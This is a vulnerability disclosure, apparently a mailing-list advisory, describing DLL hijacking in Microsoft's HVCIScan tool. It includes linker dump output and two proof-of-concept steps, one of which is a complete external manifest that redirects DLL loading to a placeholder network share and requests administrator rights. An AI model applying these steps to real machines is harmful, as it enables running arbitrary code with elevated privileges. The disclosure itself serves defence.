Microsoft HVCIScan DLL Hijacking

Hi @ll,

about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a
"Tool to check devices for compatibility with memory integrity (HVCI)"

The “Install instructions” on the download page
https://www.microsoft.com/en-us/download/105217 tell:

| Download the hvciscan.exe for your system architecture (AMD64 or ARM64).
| From an elevated command window or PowerShell, run hvciscan.exe

“ELEVATED” sounds good, especially when such a vulnerable tool is run
from the “Downloads” folder, where a file HVCIScan_amd64.exe.manifest,
HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via “drive-by”
download or by the (unsuspecting) unelevated user who still abuses the
“protected administrator” account created during Windows setup.

Oops, one step back: how did I determine
a) that HVCIScan-*.exe is vulnerable
b) these filenames?

Open an UNELEVATED command window and run
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_amd64.exe
and/or
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_arm64.exe
then inspect the output.

| Dump of file HVCIScan_amd64.exe
|
| File Type: EXECUTABLE IMAGE
|
| Image has the following dependencies:
|
| KERNEL32.dll
| msvcrt.dll
| VbsApi.dll
~~~~~~~~~~
| Section contains the following load config:
|
…
| 0000 Dependend load flags
…
| Summary
|
| 1000 .data
| 1000 .pdata
| 2000 .rdata
| 1000 .reloc
| 1000 .text

OUCH: the guys at M$FT built these tools without embedded “application
manifest” (which would have been placed in a “.rsrc” section),
so Windows will apply an external "application manifest", and
without /DEPENDENTLOADFLAG:2048, so Windows will search dependent
DLLs not listed as “Known DLL” in the “application directory”
first.

Both omissions^WBEGINNER’S MISTAKES allow to load and execute ARBITRARY
DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of
the application!

“Trustworthy Computing” anyone? Or "Security Development Lifecycle"?
https://www.microsoft.com/en-us/securityengineering/sdl

Proof of concept #1:

a) Open an UNELEVATED command window in the directory where you saved  
   HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe

b) Create an empty file VbsApi.dll next to the executable:

   COPY NUL: VbsApi.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error  
   message that VbsApi.dll can't be loaded.

Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe  
to actually load and execute VbsApi.dll is left as an exercise to the  
reader.

See <https://skanthak.homepage.t-online.de/minesweeper.html> if you  
need help.

Proof of concept #2:  

a) Create the text file HVCISCAN_amd64.exe.manifest respectively
HVCISCAN_arm64.exe.manifest with the following content next to
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe:

— HVCISCAN_a??64.exe.manifest —
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<file loadFrom="\SERVER\SHARE\arbitrary.dll" name="KERNEL32.dll" />
<file loadFrom="\SERVER\SHARE\arbitrary.dll" name="msvcrt.dll" />
<file loadFrom="\SERVER\SHARE\arbitrary.dll" name="VbsApi.dll" />
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
— EOF —

Replace the UNC path \SERVER\SHARE\arbitrary.dll with any local or
remote path where you can create the specified file.

NOTE: the section “trustInfo” is optional.

NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs".

b) Create an empty file arbitrary.dll in the specified network share or
local directory:

COPY NUL: \SERVER\SHARE\arbitrary.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that a required DLL or an entry point is not found.

Building \SERVER\SHARE\arbitrary.dll with the exports required by
HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left
as an exercise to the reader.

stay tuned, and far away from “tools” made in Redmond
Stefan Kanthak